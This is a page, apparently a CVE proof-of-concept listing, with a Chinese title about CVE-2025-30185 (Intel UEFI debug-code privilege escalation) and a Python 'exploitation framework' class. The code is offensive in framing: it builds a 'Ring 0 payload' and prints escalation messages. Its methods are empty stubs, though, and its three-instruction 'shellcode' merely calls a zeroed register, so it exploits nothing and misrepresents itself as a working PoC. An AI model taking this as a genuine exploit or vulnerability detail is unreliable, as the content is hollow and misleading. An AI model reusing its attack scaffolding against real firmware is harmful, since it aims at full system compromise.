CVE-2025-30185 Intel UEFI内核调试代码权限提升漏洞

# CVE-2025-30185 PoC - Intel UEFI Debug Code Exploitation # Note: This is a conceptual PoC for demonstration purposes # Actual exploitation requires specific platform knowledge import ctypes import struct class IntelUEFIDebugExploit: """Intel UEFI Kernel Debug Code Exploitation Framework""" def __init__(self): self.debug_interface_base = None self.ring0_payload = None def detect_vulnerable_platform(self): """Detect if running on vulnerable Intel UEFI platform""" # Check platform vendor and firmware version # Vulnerable platforms: Intel UEFI Reference Platforms # with active debug code in kernel pass def prepare_ring0_payload(self): """Prepare Ring 0 privilege escalation payload""" # Construct payload to execute at Ring 0 # Target: Escalate from current privilege level # Effect: Full system compromise shellcode = bytearray() # Stage 1: Locate debug interface shellcode += b'\x48\x31\xC0' # xor rax, rax shellcode += b'\x48\x31\xFF' # xor rdi, rdi # Stage 2: Call debug code shellcode += b'\xFF\xD0' # call rax return bytes(shellcode) def trigger_debug_interface(self): """Trigger the hidden debug interface""" # This would require specific knowledge of the # debug interface address and calling convention # Typically accessed through: # 1. Specific MSR (Model Specific Register) access # 2. Undocumented CPU instruction # 3. Memory-mapped I/O region pass def exploit(self): """Execute privilege escalation""" print("[*] CVE-2025-30185 Exploitation") print("[*] Target: Intel UEFI Reference Platforms") print("[*] Vulnerability: Active debug code in Ring 0 kernel") # Step 1: Platform detection if not self.detect_vulnerable_platform(): print("[-] Target platform not vulnerable") return False # Step 2: Prepare payload self.ring0_payload = self.prepare_ring0_payload() # Step 3: Trigger vulnerability self.trigger_debug_interface() # Step 4: Verify privilege escalation if self.verify_root_access(): print("[+] Privilege escalation successful") return True return False def verify_root_access(self): """Verify successful privilege escalation""" # Check if we now have Ring 0 privileges return False if __name__ == "__main__": exploit = IntelUEFIDebugExploit() exploit.exploit()